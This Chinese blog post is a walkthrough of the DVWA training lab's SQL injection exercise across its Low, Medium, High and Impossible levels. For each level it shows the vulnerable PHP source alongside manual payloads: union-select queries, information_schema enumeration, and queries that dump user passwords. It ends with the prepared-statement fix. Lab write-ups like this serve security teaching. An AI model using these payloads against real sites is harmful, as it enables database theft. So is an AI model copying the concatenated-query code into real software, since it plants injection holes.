本文最后更新于2019年05月08日,有任何建议或疑问,欢迎底部讨论。

SQL Injection,SQL注入,攻击者可通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

工具:sqlmap、啊D、明小子等。

手工注入步骤:

  • 判断注入及类型(字符型还是数字型)
  • 猜解sql语句中的字段数
  • 确定显位的字段位置及顺序
  • 获取当前数据库
  • 获取数据库中的表名
  • 获取表中的字段名
  • 获取数据

Low

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
 
        // Increase loop count
        $i++;
    }
 
    mysql_close();
}
?>

代码对参数 id 没用进行检查过滤,直接拼接 sql 语句代入数据库中查询,返回结果,存在注入漏洞。

1.判断注入及类型
输入 1, 2, 3, 4, 5 都查询成功
2019-05-08T12:06:27.png
输入 1' and '1'='1 ,查询成功,1' and '1'='2 查询失败,结果为空
2019-05-08T12:06:36.png
2019-05-08T12:06:43.png
输入 1' or '1'='1 查询成功
2019-05-08T12:07:34.png
综上,存在注入,字符型。

2.猜解字段数
使用 order by 来判断
2019-05-08T12:07:45.png
2019-05-08T12:07:52.png
2019-05-08T12:08:01.png
可知表中有两个字段,由图可知为 First name 和 Surname。

3.确定字段位置及顺序
输入 1' union select 1,2 #
2019-05-08T12:08:12.png

4.获取当前数据库
输入 1' union select user(),database() #获取当前用户及数据库
2019-05-08T12:08:21.png
与此相关:user()、 database()、 version()、 @@version_compile_os()、@@basedir
分别表示:当前用户、当前数据库、数据库版本、系统版本、数据库路径。

5.获取数据库表名
获取当前数据库的表名: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
或者指定数据库的表名: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 # ( 最后为 dvwa 的十六进制 hex 值)
注: Information_schema 为 mysql 5.0 及以上版本自带的数据库(存储mysql数据库下的所有数据库的表名和列名信息);group_concat() 为列出所有。
2019-05-08T12:08:36.png
该数据库 dvwa 中有两个表 guestbook、users。

6.获取表中的字段名
获取当前表的字段名: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
或者指定表的字段名: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
2019-05-08T12:08:50.png
users表中有8个字段,分别是user_id, first_name, last_name, user, password, avatar, last_login, failed_login

7.获取数据
列出全部帐号密码:
1' union select group_concat(user),group_concat(password) from users #
单个随机列出:
1' union select user,password from users #
单个逐个列出:
1' union select user,password from users limit 0,1 #
1' union select user,password from users limit 1,1 #
1' union select user,password from users limit 2,1 #
2019-05-08T12:09:03.png

Medium

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
 
        // Increase loop count
        $i++;
    }
 
    //mysql_close();
}
?>

中级代码利用mysql_real_escape_string函数对特殊符号 \x00, \n, \r, \, , , \x1a 进行了转义,且只能通过手选 User ID 的参数,控制了其他参数的输入。

除了上述特殊符号的转义,中级代码还是可以利用抓包来修改参数的,达到注入。

1.判断注入及类型
抓包修改 1' or '1'='1 (因为函数过滤了单引号,页面显示出错)
2019-05-08T12:09:21.png
2019-05-08T12:09:32.png
抓包改为 1 and 1=1 , 1 and 1=2 , 1 or 1=1
2019-05-08T12:10:33.png
2019-05-08T12:11:16.png
可以看出存在数字型注入。

2.确定字段数
抓包修改 id 判断出 1 order by 2 # 为最终结果,表中存在两个字段。

3.确定字段位置及顺序
1 union select 1,2 #
2019-05-08T12:11:29.png

4.获取当前数据库
抓包同样位置修改 1 union select 1,database() #
2019-05-08T12:11:40.png
2019-05-08T12:11:47.png

5.获取数据库表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名
此处该语句不能使用: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #('users'的引号过滤了)
应查询指定表的字段名: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #(只能使用hex的值)

7.获取数据
1 union select group_concat(user),group_concat(password) from users #

High

<?php
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}
?>

与中级相比,高级限制了输出结果,LIMIT 1,但不影响,我们的注入语句在结尾都加了个 # 号,注释掉后面的了,因此,high 手法与前面一样。
注意:高级中的输入输出不在同一个页面中,也没有进行页面跳转,这样做一是让输入页面没有反馈,防止攻击,二是防止使用sqlmap的注入。

Impossible

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>

加入了 Anti-CSRF token、PDO、核对输入是否是纯数字,有效防止了 sql 拼接隔断执行的恶意注入代码。

文章目录